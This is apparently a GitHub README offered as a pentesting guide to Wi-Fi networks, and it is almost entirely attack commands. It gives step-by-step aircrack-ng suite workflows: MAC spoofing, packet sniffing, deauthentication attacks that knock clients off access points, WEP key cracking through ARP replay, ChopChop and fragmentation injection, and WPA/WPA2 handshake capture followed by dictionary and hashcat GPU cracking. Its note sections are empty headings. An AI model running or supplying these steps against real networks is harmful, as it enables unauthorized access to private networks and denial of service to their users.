Network-Pentesting

Network-Hacking

A readme guide helping pentesters test networks

Want to do cool stuffs like wifi wpa2 cracking then please refer the entire github page and the corresponding youtube playlist

Watch the Demo

🔧 Change MAC Address Using ifconfig hw ether

sudo ifconfig <interface> down
sudo ifconfig <interface> hw ether <new-mac-address>
sudo ifconfig <interface> up

📌 Example

Change eth0 to MAC 00:11:22:33:44:55:

sudo ifconfig eth0 down
sudo ifconfig eth0 hw ether 00:11:22:33:44:55
sudo ifconfig eth0 up

⚠️ Notes:

sudo ip link set dev <interface> address <new-mac-address>

Sequence to enable monitor mode on wlan0 and check its status:

sudo airmon-ng check kill
sudo airmon-ng start wlan0
iwconfig

sudo airmon-ng stop wlan0mon

Here’s how you can use airodump-ng for both targeted sniffing and general sniffing:

1️⃣ Targeted Sniffing (specific MAC & channel, saving to file)

sudo airodump-ng --bssid <TARGET_MAC> -c <CHANNEL> -w <OUTPUT_FILE> wlan0mon

Explanation:

Example:

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w capture wlan0mon

2️⃣ Normal Sniffing (all nearby networks)

sudo airodump-ng wlan0mon

Deauthentication attack using aireplay-ng:

1️⃣ Syntax

sudo aireplay-ng --deauth <NUMBER_OF_PACKETS> -a <TARGET_AP_MAC> -c <CLIENT_MAC> <INTERFACE>

Parameters explained:

2️⃣ Examples

a) Deauth a specific client from an AP:

sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

b) Deauth all clients from an AP (broadcast):

sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon

⚠️ Notes:

🔑 WEP (Wired Equivalent Privacy) Overview

WEP is an older Wi-Fi encryption standard (IEEE 802.11) designed to provide confidentiality similar to a wired network.

It uses the RC4 stream cipher to encrypt data and a 24-bit Initialization Vector (IV) to ensure different encryption streams.

Key lengths: 64-bit (40-bit key + 24-bit IV) or 128-bit (104-bit key + 24-bit IV).

alt text

Here’s the fully corrected, comprehensive WEP cracking workflow, including proper use of packetforge-ng with the XOR file for ChopChop and Fragmentation attacks.

🛠️ Prerequisites

🔹 Case 1: Basic WEP Cracking

  1. Capture Packets
sudo airodump-ng --bssid <TARGET_MAC> -c <CHANNEL> -w capture wlan0mon
  1. Crack WEP Key
sudo aircrack-ng capture-01.cap

🔹 Case 2: Fake Authentication + ARP Replay

  1. Fake Authentication
sudo aireplay-ng -1 0 -a <TARGET_MAC> -h <YOUR_MAC> wlan0mon
  1. ARP Replay Attack
sudo aireplay-ng -3 -b <TARGET_MAC> -h <YOUR_MAC> wlan0mon
  1. Crack WEP Key
sudo aircrack-ng capture-01.cap

🔹 Case 3: ChopChop Attack

  1. Perform ChopChop Attack
sudo aireplay-ng -4 -b <TARGET_MAC> -h <YOUR_MAC> wlan0mon
  1. Create ARP Packet Using XOR File
sudo packetforge-ng -0 -a <TARGET_MAC> -h <YOUR_MAC> -k 255.255.255.255 -l 255.255.255.255 -y xorfile.xor -w chopchop.cap
  1. Inject Crafted Packet
sudo aireplay-ng -2 -r chopchop.cap -b <TARGET_MAC> wlan0mon
  1. Crack WEP Key
sudo aircrack-ng capture-01.cap

🔹 Case 4: Fragmentation Attack

  1. Perform Fragmentation Attack
sudo aireplay-ng -5 -b <TARGET_MAC> -h <YOUR_MAC> wlan0mon
  1. Create ARP Packet Using XOR File
sudo packetforge-ng -0 -a <TARGET_MAC> -h <YOUR_MAC> -k 255.255.255.255 -l 255.255.255.255 -y xorfile.xor -w fragment.cap
  1. Inject Crafted Packet
sudo aireplay-ng -2 -r fragment.cap -b <TARGET_MAC> wlan0mon
  1. Crack WEP Key
sudo aircrack-ng capture-01.cap

🔐 Introduction to WPA/WPA2 Cracking

1️⃣ What is WPA/WPA2?

2️⃣ Why Cracking WPA/WPA2 is Harder Than WEP

3️⃣ General Cracking Workflow

  1. Capture the WPA/WPA2 handshake

    • The handshake occurs when a client connects to an AP.
    • Tools: airodump-ng to capture the 4-way handshake.

  2. Offline Dictionary/Brute-force Attack

    • Once the handshake is captured, the attacker tries password guesses offline.
    • Tools: aircrack-ng, hashcat, John the Ripper.

  3. Optional: Deauthentication Attack

    • To force a client to reconnect and capture the handshake quickly.
    • Tool: aireplay-ng --deauth.

4️⃣ Key Points

alt text

Here’s the complete WPA/WPA2 cracking workflow, including handshake capture, deauthentication, dictionary attack, Airolib-ng with ESSID file and batch mode, and GPU cracking with Hashcat.

🛠️ Prerequisites

🔹 Step 1: Capture 4-Way Handshake with Airodump-ng

sudo airodump-ng -c <CHANNEL> --bssid <TARGET_MAC> -w capture wlan0mon

🔹 Step 2: Force Handshake Capture (Deauthentication Attack)

sudo aireplay-ng --deauth 5 -a <TARGET_MAC> -c <CLIENT_MAC> wlan0mon

🔹 Step 3: Offline Dictionary Attack Using Aircrack-ng

sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

🔹 Step 4: Create a Hash Database with Airolib-ng (Corrected ESSID Import & Batch Mode)

  1. Create a file containing the ESSID(s)
echo "<ESSID>" > essid.txt
  1. Import Wordlist
sudo airolib-ng wpa_db --import passwd /usr/share/wordlists/rockyou.txt
  1. Import ESSID File
sudo airolib-ng wpa_db --import essid essid.txt
  1. Build the Database in Batch Mode
sudo airolib-ng wpa_db --batch

🔹 Step 5: Crack Using Aircrack-ng with Airolib-ng Database

sudo aircrack-ng -r wpa_db capture-01.cap

🔹 Step 6: Cracking Using Hashcat (GPU vs CPU)

  1. Convert Cap to Hash Format
sudo cap2hccapx.bin capture-01.cap capture.hccapx
  1. List Available Devices
hashcat -I
  1. Select GPU (example: GPU ID 2) and Set Cracking Mode
hashcat -m 2500 -d 2 capture.hccapx /usr/share/wordlists/rockyou.txt

✅ Notes